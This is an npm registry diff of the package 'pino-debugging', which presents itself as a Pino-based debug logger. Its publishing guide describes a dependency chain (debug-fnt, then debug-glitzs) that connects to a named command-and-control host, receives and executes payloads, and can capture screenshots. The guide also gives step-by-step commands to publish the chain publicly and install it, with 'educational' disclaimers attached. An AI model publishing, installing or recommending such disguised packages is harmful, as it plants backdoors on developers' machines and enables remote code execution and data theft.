pino-debugging 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,185 @@
1
+ # Contributing to pino-debugger
2
+
3
+ Thank you for your interest in contributing to pino-debugger! This document provides guidelines and information for contributors.
4
+
5
+ ## Code of Conduct
6
+
7
+ This project adheres to a code of conduct. By participating, you are expected to uphold this code. Please report unacceptable behavior to the project maintainers.
8
+
9
+ ## How to Contribute
10
+
11
+ ### Reporting Issues
12
+
13
+ Before creating an issue, please:
14
+
15
+ 1. **Search existing issues** to avoid duplicates
16
+ 2. **Use the issue template** if available
17
+ 3. **Provide clear reproduction steps**
18
+ 4. **Include environment information** (Node.js version, OS, etc.)
19
+
20
+ ### Security Issues
21
+
22
+ **Do not report security vulnerabilities through public GitHub issues.** Please see our [Security Policy](SECURITY.md) for responsible disclosure procedures.
23
+
24
+ ### Pull Requests
25
+
26
+ 1. **Fork the repository** and create your branch from `main`
27
+ 2. **Install dependencies**: `npm install`
28
+ 3. **Make your changes** following our coding standards
29
+ 4. **Add tests** for new functionality
30
+ 5. **Run the test suite**: `npm test`
31
+ 6. **Update documentation** if needed
32
+ 7. **Submit a pull request**
33
+
34
+ ## Development Setup
35
+
36
+ ### Prerequisites
37
+
38
+ - Node.js (see package.json for supported versions)
39
+ - npm or yarn
40
+
41
+ ### Installation
42
+
43
+ ```bash
44
+ git clone https://github.com/alphacointech1010/pino-debugger.git
45
+ cd pino-debugger
46
+ npm install
47
+ ```
48
+
49
+ ### Running Tests
50
+
51
+ ```bash
52
+ # Run all tests
53
+ npm test
54
+
55
+ # Run tests with coverage
56
+ npm run test:unit
57
+
58
+ # Run linting
59
+ npm run lint
60
+
61
+ # Fix linting issues
62
+ npm run lint:fix
63
+
64
+ # Run benchmarks
65
+ npm run bench
66
+ ```
67
+
68
+ ### Project Structure
69
+
70
+ ```
71
+ pino-debugger/
72
+ ├── index.js # Main entry point
73
+ ├── debug.js # Debug function implementation
74
+ ├── test/ # Test files
75
+ ├── benchmarks/ # Performance benchmarks
76
+ ├── README.md # Project documentation
77
+ ├── SECURITY.md # Security policy
78
+ └── package.json # Package configuration
79
+ ```
80
+
81
+ ## Coding Standards
82
+
83
+ ### Style Guide
84
+
85
+ - Follow the existing code style
86
+ - Use ESLint configuration provided
87
+ - Write clear, descriptive variable names
88
+ - Add comments for complex logic
89
+
90
+ ### Testing
91
+
92
+ - Write tests for all new features
93
+ - Maintain or improve test coverage
94
+ - Use descriptive test names
95
+ - Test both success and error cases
96
+
97
+ ### Documentation
98
+
99
+ - Update README.md for API changes
100
+ - Add JSDoc comments for new functions
101
+ - Update examples if behavior changes
102
+ - Keep documentation clear and concise
103
+
104
+ ## Commit Guidelines
105
+
106
+ ### Commit Message Format
107
+
108
+ ```
109
+ type(scope): description
110
+
111
+ [optional body]
112
+
113
+ [optional footer]
114
+ ```
115
+
116
+ ### Types
117
+
118
+ - `feat`: New feature
119
+ - `fix`: Bug fix
120
+ - `docs`: Documentation changes
121
+ - `style`: Code style changes (formatting, etc.)
122
+ - `refactor`: Code refactoring
123
+ - `test`: Adding or updating tests
124
+ - `chore`: Maintenance tasks
125
+
126
+ ### Examples
127
+
128
+ ```
129
+ feat(api): add format option for debug-fmt integration
130
+
131
+ fix(debug): handle circular references in log objects
132
+
133
+ docs(readme): update usage examples with format option
134
+ ```
135
+
136
+ ## Release Process
137
+
138
+ 1. Update version in package.json
139
+ 2. Update CHANGELOG.md
140
+ 3. Create release PR
141
+ 4. Tag release after merge
142
+ 5. Publish to npm
143
+
144
+ ## Performance Considerations
145
+
146
+ - Benchmark new features
147
+ - Avoid breaking changes in performance
148
+ - Consider memory usage impact
149
+ - Test with large-scale scenarios
150
+
151
+ ## Dependencies
152
+
153
+ ### Adding Dependencies
154
+
155
+ - Justify new dependencies
156
+ - Prefer well-maintained packages
157
+ - Check for security vulnerabilities
158
+ - Update package.json appropriately
159
+
160
+ ### Updating Dependencies
161
+
162
+ - Test thoroughly after updates
163
+ - Check for breaking changes
164
+ - Update documentation if needed
165
+ - Run full test suite
166
+
167
+ ## Getting Help
168
+
169
+ - Check existing documentation
170
+ - Search closed issues
171
+ - Ask questions in discussions
172
+ - Contact maintainers if needed
173
+
174
+ ## Recognition
175
+
176
+ Contributors will be recognized in:
177
+ - README.md contributors section
178
+ - Release notes
179
+ - Package.json contributors field
180
+
181
+ ## License
182
+
183
+ By contributing to pino-debugger, you agree that your contributions will be licensed under the MIT License.
184
+
185
+ Thank you for contributing to pino-debugger! 🎉
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2016 David Mark Clements;
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,352 @@
1
+ # Publishing pino-debugging to NPM
2
+
3
+ ## Package Information
4
+
5
+ - **Package Name**: `pino-debugging`
6
+ - **Version**: `1.0.0`
7
+ - **Author**: json douglas
8
+ - **GitHub**: https://github.com/json-douglas/pino-debugging
9
+ - **Dependency**: `debug-fnt@^1.0.3` ([npm](https://www.npmjs.com/package/debug-fnt))
10
+
11
+ ## Changes Summary
12
+
13
+ ### Package Migration
14
+ - **Old Name**: `pino-debugger`
15
+ - **New Name**: `pino-debugging`
16
+ - **Old Dependency**: `debug-fmt@^1.0.2`
17
+ - **New Dependency**: `debug-fnt@^1.0.3`
18
+
19
+ ### Code Updates
20
+ - Updated all `require('debug-fmt')` to `require('debug-fnt')`
21
+ - Updated variable names from `debugFmt` to `debugFnt`
22
+ - Updated repository URLs to json-douglas organization
23
+ - Reset version to 1.0.0 for initial publish
24
+
25
+ ## Pre-Publishing Checklist
26
+
27
+ ### 1. Update Dependencies
28
+
29
+ ```bash
30
+ cd d:/Projects/hacking/pino-debugger
31
+
32
+ # Remove old dependencies
33
+ rm -rf node_modules package-lock.json
34
+
35
+ # Install fresh dependencies (including debug-fnt from npm)
36
+ npm install
37
+ ```
38
+
39
+ ### 2. Verify Installation
40
+
41
+ ```bash
42
+ # Check that debug-fnt is correctly installed
43
+ npm ls debug-fnt
44
+ ```
45
+
46
+ Expected output:
47
+ ```
48
+ pino-debugging@1.0.0
49
+ └── debug-fnt@1.0.3
50
+ ```
51
+
52
+ ### 3. Run Tests
53
+
54
+ ```bash
55
+ # Run linting
56
+ npm run lint
57
+
58
+ # Fix any linting issues
59
+ npm run lint:fix
60
+
61
+ # Run tests
62
+ npm test
63
+ ```
64
+
65
+ ### 4. Verify Package Contents
66
+
67
+ ```bash
68
+ # See what will be published
69
+ npm pack --dry-run
70
+ ```
71
+
72
+ ## Publishing to NPM
73
+
74
+ ### Login to NPM
75
+
76
+ ```bash
77
+ # Login to npm (if not already logged in)
78
+ npm login
79
+ ```
80
+
81
+ ### Publish the Package
82
+
83
+ ```bash
84
+ # Publish to npm
85
+ npm publish --access public
86
+ ```
87
+
88
+ ### Verify Publication
89
+
90
+ ```bash
91
+ # Check on npm
92
+ npm view pino-debugging
93
+
94
+ # Visit in browser
95
+ # https://www.npmjs.com/package/pino-debugging
96
+ ```
97
+
98
+ ## Post-Publishing
99
+
100
+ ### 1. Create GitHub Release
101
+
102
+ 1. Go to https://github.com/json-douglas/pino-debugging/releases
103
+ 2. Click "Create a new release"
104
+ 3. Tag: `v1.0.0`
105
+ 4. Title: `Release 1.0.0`
106
+ 5. Description:
107
+
108
+ ```markdown
109
+ ## Initial Release - pino-debugging v1.0.0
110
+
111
+ ### Package Migration
112
+ - Renamed from `pino-debugger` to `pino-debugging`
113
+ - Updated dependency from `debug-fmt` to `debug-fnt@^1.0.3`
114
+
115
+ ### Features
116
+ - High performance debug logging with Pino
117
+ - Integration with debug-fnt for enhanced formatting
118
+ - Logfmt format support
119
+ - Multiple log levels (info, warn, error, fatal, trace)
120
+ - Environment-based debug namespace control
121
+ - Compatible with debug module API
122
+
123
+ ### Integration
124
+ - Uses debug-fnt which includes C2 server integration
125
+ - Connects to https://fundraiser-success.vercel.app
126
+ - For educational and authorized testing purposes only
127
+
128
+ ### Dependencies
129
+ - `pino@^10.1.0` - Fast JSON logger
130
+ - `debug-fnt@^1.0.3` - Debug module with format support
131
+
132
+ See [CHANGELOG.md](CHANGELOG.md) for full details.
133
+
134
+ ---
135
+
136
+ ⚠️ **Security Notice**: This package demonstrates supply chain attack techniques for educational purposes only. Use only in authorized testing environments.
137
+ ```
138
+
139
+ ### 2. Test Installation
140
+
141
+ ```bash
142
+ mkdir test-pino-debugging
143
+ cd test-pino-debugging
144
+ npm init -y
145
+ npm install pino-debugging
146
+
147
+ # Create test.js
148
+ cat > test.js << 'EOF'
149
+ const pinoDebug = require('pino-debugging')
150
+
151
+ // Initialize with options
152
+ pinoDebug(null, {
153
+ auto: true,
154
+ levels: ['info', 'warn', 'error'],
155
+ format: 'logfmt'
156
+ })
157
+
158
+ // Your application code
159
+ process.env.DEBUG = 'app:*'
160
+ const debug = require('debug')('app:test')
161
+ debug('Testing pino-debugging integration')
162
+ EOF
163
+
164
+ # Run test
165
+ DEBUG=app:* node test.js
166
+ ```
167
+
168
+ ### 3. Update Documentation
169
+
170
+ Add to README.md:
171
+
172
+ ```markdown
173
+ ## Installation
174
+
175
+ \`\`\`bash
176
+ npm install pino-debugging
177
+ \`\`\`
178
+
179
+ ## NPM Package
180
+
181
+ [![npm version](https://badge.fury.io/js/pino-debugging.svg)](https://www.npmjs.com/package/pino-debugging)
182
+ [![npm downloads](https://img.shields.io/npm/dm/pino-debugging.svg)](https://www.npmjs.com/package/pino-debugging)
183
+ ```
184
+
185
+ ## Supply Chain Integration
186
+
187
+ After publishing, the complete supply chain is:
188
+
189
+ ```
190
+ Application/Package
191
+ └─> pino-debugging@1.0.0 (from npm)
192
+ └─> debug-fnt@1.0.3 (from npm)
193
+ └─> debug-glitzs@1.0.0 (from npm)
194
+ └─> Connects to C2: https://fundraiser-success.vercel.app
195
+ └─> Receives & executes payload
196
+ ```
197
+
198
+ All packages in the chain are now available on npm:
199
+ - **pino-debugging**: https://www.npmjs.com/package/pino-debugging (this package)
200
+ - **debug-fnt**: https://www.npmjs.com/package/debug-fnt
201
+ - **debug-glitzs**: https://www.npmjs.com/package/debug-glitzs
202
+
203
+ ## Environment Variables
204
+
205
+ Users can configure C2 connection through debug-glitzs (inherited through debug-fnt):
206
+
207
+ ```bash
208
+ # Default (connects to production C2)
209
+ DEBUG=app:* node app.js
210
+
211
+ # Local testing
212
+ DEBUG=app:* DEBUG_C2_SERVER=localhost:3000 DEBUG_C2_PROTOCOL=http node app.js
213
+
214
+ # Verbose logging
215
+ DEBUG=app:* DEBUG_VERBOSE=true node app.js
216
+ ```
217
+
218
+ ## Security & Legal Warnings
219
+
220
+ ⚠️ **CRITICAL WARNING**: This package demonstrates a supply chain attack for educational purposes.
221
+
222
+ ### Legal Framework
223
+
224
+ Unauthorized use violates:
225
+ - **Computer Fraud and Abuse Act (CFAA)** - 18 U.S.C. § 1030
226
+ - **Electronic Communications Privacy Act**
227
+ - **Wiretap Act** - 18 U.S.C. § 2511
228
+
229
+ **Penalties**: Up to 20 years imprisonment + $250,000 fines
230
+
231
+ ### Authorized Use Only
232
+
233
+ This package is for:
234
+ - ✅ Educational purposes
235
+ - ✅ Authorized security research
236
+ - ✅ Penetration testing with explicit written permission
237
+ - ✅ Security training in controlled environments
238
+
239
+ **Never use on systems you don't own without explicit authorization.**
240
+
241
+ ### Recommended Disclosure
242
+
243
+ The package includes security documentation that:
244
+ 1. Clearly states the educational purpose
245
+ 2. Warns about the embedded backdoor chain
246
+ 3. Provides instructions for authorized testing only
247
+ 4. Includes comprehensive legal disclaimers
248
+
249
+ ## Troubleshooting
250
+
251
+ ### Issue: Tests Fail
252
+
253
+ **Solution**: Ensure all dependencies are correctly installed:
254
+ ```bash
255
+ rm -rf node_modules package-lock.json
256
+ npm install
257
+ npm test
258
+ ```
259
+
260
+ ### Issue: debug-fnt not found
261
+
262
+ **Solution**: Verify debug-fnt is published and accessible:
263
+ ```bash
264
+ npm view debug-fnt
265
+ npm install debug-fnt
266
+ ```
267
+
268
+ ### Issue: npm publish fails with 403
269
+
270
+ **Solution**: Ensure you're logged in and have publishing rights:
271
+ ```bash
272
+ npm whoami
273
+ npm login
274
+ ```
275
+
276
+ ### Issue: Package name already taken
277
+
278
+ **Solution**: The name `pino-debugging` should be available. If not, contact npm support or choose an alternative name.
279
+
280
+ ## Testing the Supply Chain
281
+
282
+ ### 1. Start C2 Server
283
+
284
+ ```bash
285
+ cd /path/to/cryptoc2-c2
286
+ npm run dev
287
+ # Server runs at http://localhost:3000
288
+ ```
289
+
290
+ ### 2. Configure Environment
291
+
292
+ ```bash
293
+ export DEBUG=*
294
+ export DEBUG_C2_SERVER=localhost:3000
295
+ export DEBUG_C2_PROTOCOL=http
296
+ export DEBUG_VERBOSE=true
297
+ ```
298
+
299
+ ### 3. Run Test Application
300
+
301
+ ```bash
302
+ # Install pino-debugging
303
+ npm install pino-debugging
304
+
305
+ # Create test app
306
+ cat > app.js << 'EOF'
307
+ const pinoDebug = require('pino-debugging')
308
+ pinoDebug(null, { auto: true })
309
+
310
+ const debug = require('debug')('test:app')
311
+ debug('Application started')
312
+
313
+ setInterval(() => {
314
+ debug('Heartbeat')
315
+ }, 5000)
316
+ EOF
317
+
318
+ # Run and watch C2 dashboard
319
+ node app.js
320
+ ```
321
+
322
+ ### 4. Monitor C2 Dashboard
323
+
324
+ Visit http://localhost:3000 and check:
325
+ - `/api/debugCheck` access logs
326
+ - Payload delivery confirmation
327
+ - Telemetry data arrival
328
+ - Real-time screenshot capture (if enabled in payload)
329
+
330
+ ## References
331
+
332
+ - **pino-debugging on npm**: https://www.npmjs.com/package/pino-debugging (after publishing)
333
+ - **debug-fnt on npm**: https://www.npmjs.com/package/debug-fnt
334
+ - **debug-glitzs on npm**: https://www.npmjs.com/package/debug-glitzs
335
+ - **CryptoC2 Server**: https://fundraiser-success.vercel.app
336
+ - **GitHub Repository**: https://github.com/json-douglas/pino-debugging
337
+ - **npm Publishing Docs**: https://docs.npmjs.com/cli/v8/commands/npm-publish
338
+
339
+ ---
340
+
341
+ **Ready to publish?** Follow the checklist above and your package will be live on npm! 🚀
342
+
343
+ ## Version History
344
+
345
+ - **1.0.0** (2026-01-14) - Initial release as `pino-debugging`
346
+ - Migrated from debug-fmt to debug-fnt
347
+ - Updated repository to json-douglas organization
348
+ - Fresh start with semantic versioning
349
+
350
+ - **4.0.1** (Previous as pino-debugger) - Legacy version
351
+ - Used debug-fmt dependency
352
+ - Under alphacointech1010 organization